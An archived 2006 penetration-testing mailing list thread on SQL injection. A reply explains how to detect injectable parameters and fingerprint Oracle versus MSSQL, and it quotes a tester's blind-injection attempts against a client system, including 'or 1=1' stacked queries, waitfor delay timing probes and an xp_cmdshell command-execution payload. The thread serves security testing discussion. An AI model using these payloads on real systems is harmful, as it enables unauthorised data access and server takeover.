From: Gurpreet Singh (gurpreetsl@gmail.com)
Date: Thu Dec 14 2006 - 05:23:48 EST
Hi all,
Following SQL attacks are also there, so also check for them.
For instance, let's look at the following request:
/myecommercesite/proddetails.asp?ProdID=4
Testing this for SQL injection is very simple. One attempt is done by
injecting 4' as the parameter. The other is done using 3 + 1 as the
parameter. Assuming this parameter is indeed passed to an SQL request, the
result of the two tests will be the following two SQL queries:
(1) SELECT * FROM Products WHERE ProdID = 4'
(2) SELECT * FROM Products WHERE ProdID = 3 + 1
The first one will definitely generate an error, as this is bad SQL syntax.
The second, however, will execute smoothly, returning the same product as
the original request (with 4 as the ProdID), indicating that this parameter
is indeed vulnerable to SQL injection.
A similar technique can be used for replacing the parameter with an SQL
syntax string expression. There are only two differences. First, string
parameters are held inside quotes, so breaking out of the quotes is
necessary. Secondly, different SQL servers use different syntax for string
concatenation. For instance, Microsoft SQL Server uses the + sign to
concatenate string, whereas Oracle uses || for the same task. Other than
that, the same technique is used. For instance:
/myecommercesite/proddetails.asp?ProdName=Book
Testing this for SQL injection involves replacing the ProdName parameter,
once with an invalid string such as B', the other with one that will
generate a valid string expression, such as B' + 'ook (or B' || 'ook with
Oracle). This results with the following queries:
(1) SELECT * FROM Products WHERE ProdName = 'Book''
(2) SELECT * FROM Products WHERE ProdID = 'B' + 'ook'
Again, the first query is likely to generate an SQL error, while the second
is expected to return the same product as the original request, with Book as
its value.
Several simple tricks allow the attacker to identify the database type, all
based on differences which exist between specific implementations of
database engines. The following examples focus on differentiating between
Oracle and Microsoft SQL Server. Similar techniques, however, are easy to
use to identify other database engines.
A very simple trick, which was mentioned earlier, is the string
concatenation difference. Assuming the syntax is known, and the attacker is
able to add additional expressions to the WHERE clause, a simple string
comparison can be done using this concatenation, for instance:
AND 'xxx' = 'x' + 'xx'
By replacing the + with ||, Oracle can be easily differentiated from MS SQL
Server, or other databases.
-----Original Message-----
From: listbounce@securityfocus.com [mailto:listbounce@securityfocus.com] On
Behalf Of One2@onetwo.com
Sent: Wednesday, December 13, 2006 1:12 PM
To: pen-test@securityfocus.com
Subject: Blind SQL Injection Techniques
Hi All,
I am testing a client at the moment who has a Blind SQL Injection
vulnerability and am running out of techniques, so need some tips.
I injected the following string to validate that the system has an MSSQL
server at the back-end.
or 1=1;select * from sysobjects;--
This returned a valid page.
Also injected the following and got a valid page, but again no data since it
is completely blind.
or 1=1;select @@version;--
Replacing sysobjects, in the first example, with an invalid table returns a
custom error page that doesn't disclose anything.
It seems that when injecting any invalid sql statement I get the same custom
error page coming back that doesn't reveal any information.
My next step was to determine whether the DB was running as system. I tried
using the following command;
or 1=1;if (select user) = 'sa' waitfor delay '0:0:5';--
... but got the error page, indicating that it didn't work - especially
since it didn't take 5 seconds. I then tried simplifying it to just;
waitfor delay '0:0:5';--
... but again, the error page, indicating this command was not working. I
thought it was the quotes but the following were successful;
or 1=1;select * from 'sysobjects';--
or 1=1;select * from "sysobjects";--
I then tried the following to see if I could actually run system commands;
or 1=1;exec master..xp_cmdshell dir;--
... but this got the error page again indicating unsuccessful.
Any suggestions on gaining further information or access on this system
would be appreciated.
Thanks,
One2
------------------------------------------------------------------------
This List Sponsored by: Cenzic
Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=70160000
0008bOW
------------------------------------------------------------------------
------------------------------------------------------------------------
This List Sponsored by: Cenzic
Need to secure your web apps?
Cenzic Hailstorm finds vulnerabilities fast.
Click the link to buy it, try it or download Hailstorm for FREE.
http://www.cenzic.com/products_services/download_hailstorm.php?camp=701600000008bOW
------------------------------------------------------------------------
This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:57:27 EDT